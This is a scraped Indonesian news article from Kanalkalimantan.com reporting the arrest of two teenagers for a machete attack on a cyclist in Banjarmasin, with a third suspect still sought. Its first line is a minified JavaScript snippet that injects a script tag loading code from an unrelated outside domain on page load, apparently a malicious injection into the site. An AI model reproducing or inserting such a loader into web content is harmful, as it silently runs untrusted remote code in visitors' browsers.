(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kepolisian Sektor (Polsek) Banjarmasin Tengah mengungkap hasil penyelidikan kasus penganiayaan di jalan Cempaka Besar, Kelurahan Mawar, Kecamatan Banjarmasin Tengah pada 13 Juli 2023 lalu.
Dua dari tiga remaja yakni MR (17), MM (14) dan TM (17) berhasil diamankan polisi.
Dua remaja dijemput polisi di Jalan Sutoyo S, tepatnya di Komplek Hidayatullah Kelurahan Teluk Dalam, Kecamatan Banjarmasin Tengah, pada Minggu (6/8/2023) sekitar pukul 20.00 Wita.
“MM terlebih dahulu diamankan, setelah pengembangan baru MRdiamankan tim gabungan,” ungkap Kapolsek Banjarmasin Tengah Kompol Pujie Firmansyah.
Baca juga: 124 Bacaleg DPRD Kalsel Tidak Memenuhi Syarat
Sementara itu satu pelaku berinisial TM masih masuk dalam daftar pencarian orang alias DPO.
“TM belum tertangkap, jadi DPO. Dia berada di luar pulau, diduga kabur ke luar Kalimantan,” sambung Kapolsek Banjarmasin Tengah.
Dalam pengungkapan kasus pembacokan ini ketiga pelaku anak di bawah umur saat kejadian tengah berboncengan menggunakan sepeda motor matic.
Baca juga: Tahanan Lapas Karang Intan Tewas Ditikam, Benda Tajam Lolos Masuk Kamar Sel
Lalu tiba-tiba saja ketiga remaja ini membacok Nurrasyid Fahrurazi (43) yang tengah bersepeda di jalan dengan menggunakan sebuah senjata tajam jenis celurit
“Ketiganya diketahui membacok korban dengan senjata tajam karena berada di bawah pengaruh minuman keras,” sebut Kompol Pujie.
Sementara korban yang merupakan warga jalan Pemurus Baru Banjarmasin Selatan langsung terjatuh dan mengalami luka bacok di bagian punggung belakangnya.
“Korban dilarikan ke rumah sakit dan mendapat dua jahitan karena luka bacok di bagian sebelah kanan punggung belakang,” kata Kompol Pujie.
Baca juga: Pengendara Perempuan Kerap Selip di Jembatan Ulin Kuin Banjarmasin
Setelah penangkapan, kedua pelaku anak di bawah umur saat ini diamankan di Polsek Banjarmasin Tengah guna melakukan proses penyidikan lebih lanjut oleh Unit Reskrim.
Keduanya terancam hukuman paling lama dua tahun delapan bulan penjara sesuai dengan pasal 351 ayat (1) KUHP tentang penganiayaan.
Sedangkan Kapolsek mengatakan pihaknya kembali fokus melakukan penanganan terhadap DPO atau pelaku ketiga kasus penganiayaan ini. “Apakah kita tangkap nanti atau kami minta pihak keluarga menyerahkan kepada kami. Kalau memang tidak bisa akan kami lakukan tindakan represif,” pungkas Kapolsek Banjarmasin Tengah. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More
KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More
This website uses cookies.